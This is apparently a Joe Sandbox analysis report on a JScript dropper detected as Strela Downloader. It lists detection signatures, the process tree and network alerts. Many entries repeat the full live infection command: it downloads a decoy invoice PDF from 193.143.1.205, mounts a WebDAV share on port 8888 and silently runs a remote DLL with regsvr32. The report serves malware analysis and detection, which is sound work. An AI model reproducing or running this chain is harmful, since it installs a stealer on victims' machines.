Edit tour

Windows Analysis Report
2300831576502014589.js

Overview

General Information

Sample name:	2300831576502014589.js
Analysis ID:	1588672
MD5:	3a9eeaf741ad68a2165e645e4fe90850
SHA1:	80f4abf09f186f747de3dccd7ac50727333c5ca2
SHA256:	ea7edab102c0aebbc253061fca01c55329776af80eb62ecca6d234dfc5cdc31c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3776 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2924 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1524 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5960 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1832 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1696,i,9192007246703842648,7699776659356869918,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3220 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4196 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 508 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3776	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2924, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1524, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2924, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1524, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", ProcessId: 3776, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4196, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49724

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 2924, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 2924, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 2924, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 2924, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 2924, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", ProcessId: 3776, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2924, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1524, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3220, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4196, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 508, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3220, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4196, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll, ProcessId: 2924, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:59:28.894143+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49713	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:59:31.563412+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49724	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:59:28.894143+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49713	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2300831576502014589.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2300831576502014589.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2300831576502014589.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49713 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49724 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:59:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

